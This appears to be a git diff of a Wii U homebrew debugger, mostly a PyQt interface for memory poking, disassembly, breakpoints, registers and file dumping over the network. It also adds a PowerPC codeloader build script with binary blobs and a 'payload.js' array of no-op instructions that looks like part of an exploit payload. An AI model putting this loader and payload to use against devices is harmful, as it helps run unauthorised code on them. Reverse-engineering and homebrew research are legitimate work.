self.setTextInteractionFlags(Qt.NoTextInteraction) + + self.currentInstruction = None + self.selectedAddress = 0 + self.setBase(0) + + events.BreakPointChanged.connect(self.updateHighlight) + events.Continue.connect(self.handleContinue) + + def handleContinue(self): + self.currentInstruction = None + self.updateHighlight() + + def setCurrentInstruction(self, instr): + self.currentInstruction = instr + self.setBase(instr - 0x20) + + def setBase(self, base): + self.base = base + self.updateText() + self.updateHighlight() + + def updateText(self): + if bugger.connected: + blob = bugger.read(self.base, 0x60) + else: + blob = b"\x00" * 0x60 + + text = "" + for i in range(24): + address = self.base + i * 4 + value = struct.unpack_from(">I", blob, i * 4)[0] + instr = disassemble.disassemble(value, address) + text += "%08X: %08X %s\n" %(address, value, instr) + self.setPlainText(text) + + def updateHighlight(self): + selections = [] + for i in range(24): + address = self.base + i * 4 + + color = self.getColor(address) + if color: + cursor = self.textCursor() + cursor.movePosition(QTextCursor.Down, n=i) + cursor.select(QTextCursor.LineUnderCursor) + format = QTextCharFormat() + format.setBackground(QBrush(QColor(color))) + selection = QTextEdit.ExtraSelection() + selection.cursor = cursor + selection.format = format + selections.append(selection) + self.setExtraSelections(selections) + + def getColor(self, addr): + colors = [] + if addr in bugger.breakPoints: + colors.append((255, 0, 0)) + if addr == self.currentInstruction: + colors.append((0, 255, 0)) + if addr == self.selectedAddress: + colors.append((0, 0, 255)) + + if not colors: + return None + + color = [sum(l)//len(colors) for l in zip(*colors)] + return "#%02X%02X%02X" %tuple(color) + + def mousePressEvent(self, e): + super().mousePressEvent(e) + line = self.cursorForPosition(e.pos()).blockNumber() + self.selectedAddress = self.base + line * 4 + if e.button() == Qt.MidButton: + bugger.toggleBreakPoint(self.selectedAddress) + self.updateHighlight() + + +class DisassemblyInfo(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.baseLabel = QLabel("Address:") + self.baseBox = HexSpinBox(self, 4) + self.baseButton = QPushButton("Update", self) + self.baseButton.clicked.connect(self.updateDisassemblyBase) + + self.pokeBox = HexSpinBox(self) + self.pokeButton = QPushButton("Poke", self) + self.pokeButton.clicked.connect(self.poke) + + self.layout = QGridLayout() + self.layout.addWidget(self.baseLabel, 0, 0) + self.layout.addWidget(self.baseBox, 0, 1) + self.layout.addWidget(self.baseButton, 0, 2) + self.layout.addWidget(self.pokeBox, 1, 0) + self.layout.addWidget(self.pokeButton, 1, 1, 1, 2) + self.setLayout(self.layout) + self.setMinimumWidth(300) + + def updateDisassemblyBase(self): + window.mainWidget.tabWidget.disassemblyTab.disassemblyWidget.setBase(self.baseBox.value()) + + def poke(self): + disassembly = window.mainWidget.tabWidget.disassemblyTab.disassemblyWidget + if disassembly.selectedAddress: + bugger.writeCode(disassembly.selectedAddress, self.pokeBox.value()) + disassembly.updateText() + + +class DisassemblyTab(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.disassemblyInfo = DisassemblyInfo(self) + self.disassemblyWidget = DisassemblyWidget(self) + self.layout = QHBoxLayout() + self.layout.addWidget(self.disassemblyInfo) + self.layout.addWidget(self.disassemblyWidget) + self.setLayout(self.layout) + + events.Connected.connect(self.connected) + + def connected(self): + self.disassemblyWidget.setBase(0x10000000) + + +class ThreadList(QTableWidget): + def __init__(self, parent): + super().__init__(0, 5, parent) + self.setHorizontalHeaderLabels(["Name", "Priority", "Core", "Stack", "Entry Point"]) + self.setEditTriggers(self.NoEditTriggers) + self.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch) + + events.Connected.connect(self.updateThreads) + + def updateThreads(self): + threads = bugger.getThreadList() + self.setRowCount(len(threads)) + for i in range(len(threads)): + thread = threads[i] + self.setItem(i, 0, QTableWidgetItem(thread.name)) + self.setItem(i, 1, QTableWidgetItem(str(thread.priority))) + self.setItem(i, 2, QTableWidgetItem(thread.core)) + self.setItem(i, 3, QTableWidgetItem("0x%x - 0x%x" %(thread.stackEnd, thread.stackBase))) + self.setItem(i, 4, QTableWidgetItem(hex(thread.entryPoint))) + + +class ThreadingTab(QTableWidget): + def __init__(self, parent): + super().__init__(parent) + self.threadList = ThreadList(self) + self.updateButton = QPushButton("Update", self) + self.updateButton.clicked.connect(self.threadList.updateThreads) + self.layout = QVBoxLayout() + self.layout.addWidget(self.threadList) + self.layout.addWidget(self.updateButton) + self.setLayout(self.layout) + + +class BreakPointList(QListWidget): + def __init__(self, parent): + super().__init__(parent) + self.itemDoubleClicked.connect(self.goToDisassembly) + events.BreakPointChanged.connect(self.updateList) + + def updateList(self): + self.clear() + for bp in bugger.breakPoints: + self.addItem("0x%08X" %bp) + + def goToDisassembly(self, item): + address = bugger.breakPoints[self.row(item)] + window.mainWidget.tabWidget.disassemblyTab.disassemblyWidget.setBase(address) + window.mainWidget.tabWidget.setCurrentIndex(1) + + +class BreakPointTab(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.list = BreakPointList(self) + self.button = QPushButton("Remove", self) + self.button.clicked.connect(self.removeBreakPoint) + self.layout = QVBoxLayout() + self.layout.addWidget(self.list) + self.layout.addWidget(self.button) + self.setLayout(self.layout) + + def removeBreakPoint(self): + if self.list.currentRow() != -1: + bugger.toggleBreakPoint(bugger.breakPoints[self.list.currentRow()]) + + +class RegisterTab(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.gprLabels = [] + self.gprBoxes = [] + self.fprLabels = [] + self.fprBoxes = [] + for i in range(32): + self.gprLabels.append(QLabel("r%i" %i, self)) + self.fprLabels.append(QLabel("f%i" % i, self)) + gprBox = HexSpinBox(self) + fprBox = QDoubleSpinBox(self) + fprBox.setRange(float("-inf"), float("inf")) + self.gprBoxes.append(gprBox) + self.fprBoxes.append(fprBox) + + self.layout = QGridLayout() + for i in range(32): + self.layout.addWidget(self.gprLabels[i], i % 16, i // 16 * 2) + self.layout.addWidget(self.gprBoxes[i], i % 16, i // 16 * 2 + 1) + self.layout.addWidget(self.fprLabels[i], i % 16, i // 16 * 2 + 4) + self.layout.addWidget(self.fprBoxes[i], i % 16, i // 16 * 2 + 5) + self.setLayout(self.layout) + + self.pokeButton = QPushButton("Poke", self) + self.resetButton = QPushButton("Reset", self) + self.pokeButton.clicked.connect(self.pokeRegisters) + self.resetButton.clicked.connect(self.updateRegisters) + self.layout.addWidget(self.pokeButton, 16, 0, 1, 4) + self.layout.addWidget(self.resetButton, 16, 4, 1, 4) + + self.setEditEnabled(False) + + events.Exception.connect(self.exceptionOccurred) + events.Continue.connect(lambda: self.setEditEnabled(False)) + + def setEditEnabled(self, enabled): + for i in range(32): + self.gprBoxes[i].setEnabled(enabled) + self.fprBoxes[i].setEnabled(enabled) + self.pokeButton.setEnabled(enabled) + self.resetButton.setEnabled(enabled) + + def exceptionOccurred(self): + self.updateRegisters() + self.setEditEnabled(exceptionState.isBreakPoint()) + + def updateRegisters(self): + for i in range(32): + self.gprBoxes[i].setValue(exceptionState.gpr[i]) + self.fprBoxes[i].setValue(exceptionState.fpr[i]) + + def pokeRegisters(self): + for i in range(32): + exceptionState.gpr[i] = self.gprBoxes[i].value() + exceptionState.fpr[i] = self.fprBoxes[i].value() + bugger.pokeExceptionRegisters() + + +class ExceptionInfo(QGroupBox): + def __init__(self, parent): + super().__init__("Info", parent) + self.typeLabel = QLabel(self) + self.layout = QVBoxLayout() + self.layout.addWidget(self.typeLabel) + self.setLayout(self.layout) + + events.Exception.connect(self.updateInfo) + + def updateInfo(self): + self.typeLabel.setText("Type: %s" %exceptionState.exceptionName) + + +class SpecialRegisters(QGroupBox): + def __init__(self, parent): + super().__init__("Special registers", parent) + self.cr = QLabel(self) + self.lr = QLabel(self) + self.ctr = QLabel(self) + self.xer = QLabel(self) + self.srr0 = QLabel(self) + self.srr1 = QLabel(self) + self.ex0 = QLabel(self) + self.ex1 = QLabel(self) + + self.layout = QHBoxLayout() + self.userLayout = QFormLayout() + self.kernelLayout = QFormLayout() + + self.userLayout.addRow("CR:", self.cr) + self.userLayout.addRow("LR:", self.lr) + self.userLayout.addRow("CTR:", self.ctr) + self.userLayout.addRow("XER:", self.xer) + + self.kernelLayout = QFormLayout() + self.kernelLayout.addRow("SRR0:", self.srr0) + self.kernelLayout.addRow("SRR1:", self.srr1) + self.kernelLayout.addRow("EX0:", self.ex0) + self.kernelLayout.addRow("EX1:", self.ex1) + + self.layout.addLayout(self.userLayout) + self.layout.addLayout(self.kernelLayout) + self.setLayout(self.layout) + + events.Exception.connect(self.updateRegisters) + + def updateRegisters(self): + self.cr.setText("%X" %exceptionState.cr) + self.lr.setText("%X" %exceptionState.lr) + self.ctr.setText("%X" %exceptionState.ctr) + self.xer.setText("%X" %exceptionState.xer) + self.srr0.setText("%X" %exceptionState.srr0) + self.srr1.setText("%X" %exceptionState.srr1) + self.ex0.setText("%X" %exceptionState.ex0) + self.ex1.setText("%X" %exceptionState.ex1) + + +class ExceptionInfoTab(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.exceptionInfo = ExceptionInfo(self) + self.specialRegisters = SpecialRegisters(self) + self.layout = QGridLayout() + self.layout.addWidget(self.exceptionInfo, 0, 0) + self.layout.addWidget(self.specialRegisters, 0, 1) + self.setLayout(self.layout) + + +class StackTrace(QListWidget): + def __init__(self, parent): + super().__init__(parent) + events.Exception.connect(self.updateTrace) + + def updateTrace(self): + self.clear() + stackTrace = bugger.getStackTrace() + for address in (exceptionState.srr0, exceptionState.lr) + stackTrace: + self.addItem("%X" %address) + + +class BreakPointActions(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.continueButton = QPushButton("Continue", self) + self.stepButton = QPushButton("Step", self) + self.stepOverButton = QPushButton("Step over", self) + self.continueButton.clicked.connect(bugger.continueBreak) + self.stepButton.clicked.connect(bugger.stepBreak) + self.stepOverButton.clicked.connect(bugger.stepOver) + + self.layout = QHBoxLayout() + self.layout.addWidget(self.continueButton) + self.layout.addWidget(self.stepButton) + self.layout.addWidget(self.stepOverButton) + self.setLayout(self.layout) + + events.Exception.connect(self.updateButtons) + events.Continue.connect(self.disableButtons) + + def disableButtons(self): + self.setButtonsEnabled(False) + + def updateButtons(self): + self.setButtonsEnabled(exceptionState.isBreakPoint()) + + def setButtonsEnabled(self, enabled): + self.continueButton.setEnabled(enabled) + self.stepButton.setEnabled(enabled) + self.stepOverButton.setEnabled(enabled) + + +class StackTraceTab(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.stackTrace = StackTrace(self) + self.disassembly = DisassemblyWidget(self) + self.breakPointActions = BreakPointActions(self) + self.layout = QVBoxLayout() + hlayout = QHBoxLayout() + hlayout.addWidget(self.stackTrace) + hlayout.addWidget(self.disassembly) + self.layout.addLayout(hlayout) + self.layout.addWidget(self.breakPointActions) + self.setLayout(self.layout) + + self.stackTrace.itemDoubleClicked.connect(self.jumpDisassembly) + events.Exception.connect(self.exceptionOccurred) + + def exceptionOccurred(self): + self.disassembly.setCurrentInstruction(exceptionState.srr0) + + def jumpDisassembly(self, item): + self.disassembly.setBase(int(item.text(), 16) - 0x20) + + +class ExceptionTab(QTabWidget): + def __init__(self, parent): + super().__init__(parent) + self.infoTab = ExceptionInfoTab(self) + self.registerTab = RegisterTab(self) + self.stackTab = StackTraceTab(self) + self.addTab(self.infoTab, "General") + self.addTab(self.registerTab, "Registers") + self.addTab(self.stackTab, "Stack trace") + + events.Exception.connect(self.exceptionOccurred) + + def exceptionOccurred(self): + self.setCurrentIndex(2) #Stack trace + + +def formatFileSize(size): + if size >= 1024 ** 3: + return "%.1f GiB" %(size / (1024 ** 3)) + if size >= 1024 ** 2: + return "%.1f MiB" %(size / (1024 ** 2)) + if size >= 1024: + return "%.1f KiB" %(size / 1024) + return "%i B" %size + +class FileTreeNode(QTreeWidgetItem): + def __init__(self, parent, name, size, path): + super().__init__(parent) + self.name = name + self.size = size + self.path = path + + self.setText(0, name) + if size == -1: #It's a folder + self.loaded = False + else: #It's a file + self.setText(1, formatFileSize(size)) + self.loaded = True + + def loadChildren(self): + if not self.loaded: + for i in range(self.childCount()): + child = self.child(i) + if not child.loaded: + self.child(i).loadContent() + self.loaded = True + + def loadContent(self): + entries = bugger.readDirectory(self.path) + for entry in entries: + FileTreeNode(self, entry.name, entry.size, self.path + "/" + entry.name) + + def dump(self, outdir, task): + if task.canceled: + return + + outpath = os.path.join(outdir, self.name) + if self.size == -1: + if os.path.isfile(outpath): + os.remove(outpath) + if not os.path.exists(outpath): + os.mkdir(outpath) + + self.loadChildren() + for i in range(self.childCount()): + self.child(i).dump(outpath, task) + else: + bugger.dumpFile(self.path, outpath, task) + + +class FileTreeWidget(QTreeWidget): + def __init__(self, parent): + super().__init__(parent) + self.setHeaderLabels(["Name", "Size"]) + self.itemExpanded.connect(self.handleItemExpanded) + events.Connected.connect(self.initFileTree) + + def initFileTree(self): + self.clear() + rootItem = FileTreeNode(self, "content", -1, "/vol/content") + rootItem.loadContent() + self.resizeColumnToContents(0) + + def handleItemExpanded(self, item): + item.loadChildren() + self.resizeColumnToContents(0) + + +class FileSystemTab(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.fileTree = FileTreeWidget(self) + self.dumpButton = QPushButton("Dump", self) + self.dumpButton.clicked.connect(self.dump) + self.patchButton = QPushButton("Load patch", self) + self.patchButton.clicked.connect(self.loadPatch) + self.clearButton = QPushButton("Clear patch", self) + self.clearButton.clicked.connect(self.clearPatch) + self.clearButton.setEnabled(True) + + self.layout = QVBoxLayout() + hlayout = QHBoxLayout() + hlayout.addWidget(self.dumpButton) + hlayout.addWidget(self.patchButton) + hlayout.addWidget(self.clearButton) + self.layout.addWidget(self.fileTree) + self.layout.addLayout(hlayout) + self.setLayout(self.layout) + + def dump(self): + item = self.fileTree.currentItem() + if item: + outdir = QFileDialog.getExistingDirectory(self, "Dump") + if outdir: + task = Task(blocking=True, cancelable=True) + item.dump(outdir, task) + task.end() + + def loadPatch(self): + patchDir = QFileDialog.getExistingDirectory(self, "Load patch") + if patchDir: + baseLength = len(patchDir) + fileList = [] + for dirname, subdirs, files in os.walk(patchDir): + for filename in files: + gamePath = "/vol" + dirname[baseLength:].replace("\\", "/") + "/" + filename + fileList.append(gamePath) + + bugger.setPatchFiles(fileList, patchDir) + self.clearButton.setEnabled(True) + + def clearPatch(self): + bugger.clearPatchFiles() + self.clearButton.setEnabled(True) + + +class DebuggerTabs(QTabWidget): + def __init__(self, parent): + super().__init__(parent) + self.memoryTab = MemoryTab(self) + self.disassemblyTab = DisassemblyTab(self) + self.threadingTab = ThreadingTab(self) + self.breakPointTab = BreakPointTab(self) + self.exceptionTab = ExceptionTab(self) + self.fileSystemTab = FileSystemTab(self) + self.addTab(self.memoryTab, "Memory") + self.addTab(self.disassemblyTab, "Disassembly") + self.addTab(self.threadingTab, "Threads") + self.addTab(self.breakPointTab, "Breakpoints") + self.addTab(self.exceptionTab, "Exceptions") + self.addTab(self.fileSystemTab, "File System") + self.setTabEnabled(4, True) + + events.Exception.connect(self.exceptionOccurred) + events.Connected.connect(self.connected) + events.Closed.connect(self.disconnected) + + def exceptionOccurred(self): + self.setTabEnabled(4, True) + self.setCurrentIndex(4) #Exceptions + + def connected(self): + self.setEnabled(True) + + def disconnected(self): + self.setEnabled(True) + self.setTabEnabled(4, True) + + +class StatusWidget(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.serverLabel = QLabel("Wii U IP:") + self.serverBox = QLineEdit(self) + self.serverBox.returnPressed.connect(self.connect) + self.connectButton = QPushButton("Connect", self) + self.connectButton.clicked.connect(self.connect) + self.disconnectButton = QPushButton("Disconnect", self) + self.disconnectButton.clicked.connect(bugger.close) + self.disconnectButton.setEnabled(True) + + self.progressBar = QProgressBar(self) + self.progressInfo = QLabel("Disconnected", self) + self.cancelButton = QPushButton("Cancel", self) + self.cancelButton.clicked.connect(taskMgr.cancel) + self.cancelButton.setEnabled(True) + + self.layout = QGridLayout() + self.layout.addWidget(self.serverLabel, 0, 0) + self.layout.addWidget(self.serverBox, 1, 0) + self.layout.addWidget(self.connectButton, 0, 1) + self.layout.addWidget(self.disconnectButton, 1, 1) + self.layout.addWidget(self.progressBar, 2, 0) + self.layout.addWidget(self.cancelButton, 2, 1) + self.layout.addWidget(self.progressInfo, 3, 0, 1, 2) + self.setLayout(self.layout) + + events.Connected.connect(self.connected) + events.Closed.connect(self.disconnected) + + def connect(self): + try: bugger.connect(str(self.serverBox.text())) + except: pass + + def connected(self): + self.progressInfo.setText("Connected") + self.connectButton.setEnabled(True) + self.serverBox.setEnabled(True) + self.disconnectButton.setEnabled(True) + + def disconnected(self): + self.progressInfo.setText("Disconnected") + self.connectButton.setEnabled(True) + self.serverBox.setEnabled(True) + self.disconnectButton.setEnabled(True) + + +class MainWidget(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.tabWidget = DebuggerTabs(self) + self.statusWidget = StatusWidget(self) + self.layout = QVBoxLayout() + self.layout.addWidget(self.tabWidget) + self.layout.addWidget(self.statusWidget) + self.tabWidget.setEnabled(True) + self.setLayout(self.layout) + + +class MainWindow(QMainWindow): + def init(self): + self.mainWidget = MainWidget(self) + self.setCentralWidget(self.mainWidget) + + self.setWindowTitle("DiiBugger") + self.resize(1080, 720) + + self.timer = QTimer(self) + self.timer.setInterval(100) + self.timer.timeout.connect(self.updateBugger) + self.timer.start() + + events.Connected.connect(self.updateTitle) + events.Closed.connect(self.updateTitle) + + def updateTitle(self): + if bugger.connected: + name = bugger.getModuleName() + self.setWindowTitle("DiiBugger - %s" %name) + else: + self.setWindowTitle("DiiBugger") + + def updateBugger(self): + if bugger.connected and not taskMgr.isBlocking(): + bugger.updateMessages() + + def closeEvent(self, e): + if taskMgr.taskQueue: + e.ignore() + else: + e.accept() + + +exceptionState = ExceptionState() +bugger = PyBugger() +app = QApplication(sys.argv) +app.setFont(QFontDatabase.systemFont(QFontDatabase.FixedFont)) +window = MainWindow() +window.init() +window.show() +app.exec() +if bugger.connected: + bugger.close() diff --git a/illuminati.mp4 b/illuminati.mp4 new file mode 100644 index 0000000000000000000000000000000000000000..bd6797529768e08d7bfb2cb643f55d6f33193978 GIT binary patch literal 41224 zcmeHQVQf>^8U3DPf+=p7Qm=AJSYAe|*wit!NjF=vi8}(d6AB#x6sb({6A6jeKp42p zmF(q3<@PvmI_oPWEna`{tNsj87u?l$^rZfx){*EB4r?d5W)u1s`{ z@`sG4QMV`m^azL5oS1x%4=%)YT~?)&gikd%WmQaB-wmo{QohhJoJC1KqJeloJRlwr z4~PfE1L6VkfOtSWARZ78hzIU$52T5f6-PWXF_Y58$<+b#XGF0{@{XVVq!61WPw}PB z4aJ|=&2atnS-UN^m%QJi@{MB4-vXvV-eRt9W}E5NiSE00vZbsSeV&k1ik;CYO?Me~{|BE(eS>)#ZD*(sW1!dvL{2{&^L1j3s}4Eo3FdR^ zVp-DCboZZtuQS5GGM#$6{7MtrE1bn#W8rug1zl~LgI8@$s;!gzCCr(zNmoaQNb3(iq404^5Gl`bqg3^8cRA`&xkG z+FH?F$rQAI^Io^^7^8*Jmck&;E^t5-|2yD)pa$VG6)+ ztrG*J!*i|2GerCiA9~}d@_AR;hjQ6f_B-XI{`op^WaIdh*7mY?-o%*(_&A^-IIG&o(Rk>kxYdVGKmqOM_ra~hyLI1At$RGh(twLjFq zsyHKxb8->RA~;QOPJ-u{i}Q!zoCasHit{^)bA#f1A>K?UOY3?ISho@OgXNb8dkbk= zwi*3Ts{Rp`(;Ds%%_89MOzMp$boJprHm83B``G8wKQY%vXV9j*+ESQ<6!^}-^IoI3 zaS(f20{5$p?lsr3ZxHVrr8eY8bcXkqc#2k(?ESlibID;J*%hwexPFT0v7eIKx9$&G zYv{YHB2FyKJI6|3Uj6)yat!wYbsxgL$@k#ba6gIr{&KO0bH?{GPU zGWT`L5!K%*ccMMwYLBV7PJ1`X{qdf8m_gLJV~oU88o4+|t77DV?{u}Fw6yG5Gs<<) z-iv3H&m5f`lLUzs!YjD$`)bm~r~${!m&uUO+!d~aV_L3F*DuE2w{;JTu?-c|cjeQ7f|XXm_x zb@pvwoV}lYhG%Kz`S4%bcUN`0#_hy%_HVWC&SBEz{cBP$>&9C0aXu&;YRqY@Z?eX{ z>9q}|R$f!y&A@(atbP5Xg!wRIA64bQB=yh+qqU#wTGCXX`?8I5k$n8t8hdk9wuW8{ zFlnlL!}i~@xH>EN)mg!rPixJyj=&y=mVWq$&kDS5{mxkd`DjM?Ez^k&4#HXPZJgmE ze1@AIr{MHyYMQu~vfM@s-x~1g0=QyVlij#Ivr+stc()>?h;TrBm2X z{OF4_1lB$Js62e&;B$*^VO}VoV}9NzfV-65 z5t!;hZawuIPhri~hcY&noe!2B_)Z#Jg52o;pW&E;a|O zmzsl4bDVrQ?*`3_)YM!4=M%h-^ZuQJ-aJ<5&HFFw?d3kKH|E=f-oTVEC-u9{CAhRj zxMB;rzA|ZqpYtm|-oxg3$vvOuO1v-l>Sn6u^|~5sh*2jMH?Ayn<1a+BL^OWsvqJF)jfE5M+h<`lm!V4B-<5Aw#r{CWZawiL z1rR@o_)RLl51#iU2j9_){b={IxkZhid+c!;OXFv9*QbFCHosuXYrkFH`VTGd*x>fL3GOG){F-latCtx=%It7 zuqSQWzHLip#}k=tkL#JOTX*5+v7MP{G+L`|doNLDd*3eo;f{`P>gmpY;GK*64Hq7< z=({&%4jeH?bAv{HXoqoNcnEFXn|6*pvvg1PL;1d;{l>u&q|D_lqt6^3Vg4;fZggl+&yVSQ4-J7^&yV1HaLJrF-_3_vHz)+UJPD*w!9Z^t#?QzyJD#9twrS`bLYsZH}L_i848uKv4-{ z^GBc<8aQ^5OFj~`8;{e8-CYSZ{6DX;D?LVSJ!d5X56|Xv(ipR=l-v6q6+xfV8JYC0}e8|c3i{#@;o% +.align{text-align: center;} + + diff --git a/miniloader/build_codeloader.bat b/miniloader/build_codeloader.bat new file mode 100644 index 0000000..9378652 --- /dev/null +++ b/miniloader/build_codeloader.bat @@ -0,0 +1,4 @@ +#Assemble the codeloader and extract the code section to codeloader.bin +powerpc-eabi-as -mregnames codeloader.s -o codeloader.o +powerpc-eabi-ld -Ttext 0x80000000 codeloader.o +powerpc-eabi-objcopy -O binary codeloader.o codeloader.bin diff --git a/miniloader/codeloader.bin b/miniloader/codeloader.bin new file mode 100644 index 0000000000000000000000000000000000000000..c2fec9cd3a6b2658d5ca0245a54352135624b6d0 GIT binary patch literal 508 zcmXBRAxHyp6vy%R-wt-Lg@uKI3JVJp3=4({JNyqO9Jk?yEG!K44}u26!Vts4ISdPi z9T*G-gNVVfU@#aK3=0N>!7yQhpuu1;7=-zq3m@+H-n;+ZJ1#$-6Gs-rNtG*Ru~Krh zyJozNwZk2ecGMN!kvQ3EN2^lkNFw)6j%d-o8k8oJ5i^@!Y(3r!rr#}T?XMh~Yr!#OT+gusosw|d~gNrKae6QjeH;z^z<5@$pg)&Ys;-2(uw%VosnPuIlugPKKZBEbZ z&hq|rXWl7&>WJ}Pnq>BnZCvABmrG=2P$Cm%4~X?^RlXkw##Y Qg|e^scXs%4-IvtVA5j^VHvj+t literal 0 HcmV?d00001 diff --git a/miniloader/codeloader.o b/miniloader/codeloader.o new file mode 100644 index 0000000000000000000000000000000000000000..4f87c9357f4a191a32954ad77e870cd92e14b554 GIT binary patch literal 1680 zcma)*J#0;37{{M;d+DV`QPg*ZM1@q(X=z0pr=c{rjW$R~G^tbdktny$J*cFKt1%c1 zDh7kWAYw2W3tr06 zDMxD2sgBHmjkVadK`JHN{(hx&$ZF}R@9hgV_4Rc4-CaTcK-bk%BI8xv;!j8oIy+v~ zFP#%o+x7`v>5E@-p7%^ozhx{(U-b@OWU|x9(N;qZ)IuF>fCktCP0$AI;KLs1hJH8% zN8lKY!Wfj`8eE4Pa1-vpUAPDL;UPSQXYd@R;3d3**YF13!$ z9jt5;W>|t!wdSW;Sggb{0RKS?}34v zA0(O#WMDFIvd~*{cz3yq2m4D>uSjF@^4TaDqK(41JzZAOiLpo;hl41P#-U=-KA8W! ztR$!3-0URJ*XI08&DAljb)dRJjYy^`ZfCCL+(vqG@UPs$-x*!Q*4v^gsq%W-X3Cu` z8(~X$J#PbKp$6tavL{MredlslRZ`{k%KopG$$w< zx%lK<=I14IXw2)`X8~n?F(P>v=9l7iP0IXogg#%&{3?XrJ7sXhG%)-zF---?)THulZv1u5T()-zL<--*z7Ntxe;SY$T#yU}`2l#TC0)S8Wb4|++; z_o4NkDa#*3EHfMX!|1w{KZ@38LRo$gvBGTZkE8V)r)>NbLZ2CB{tRNZ+1MA*Yf`?5 z)@Mpt{t_bD-`@KKzWgufcW?uI&{BVk=7%};VUvWegr0=W61GUVO~UOGwo2G0;SPp$ zm~oeYOTs1Ml5q*Sq+DVyIggyD>yY!vdE`8D9yyPkN6sVHOs?6LkwRf~uowklB + diff --git a/payload.js b/payload.js new file mode 100644 index 0000000..b31a6bb --- /dev/null +++ b/payload.js @@ -0,0 +1,9 @@ +[ +0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 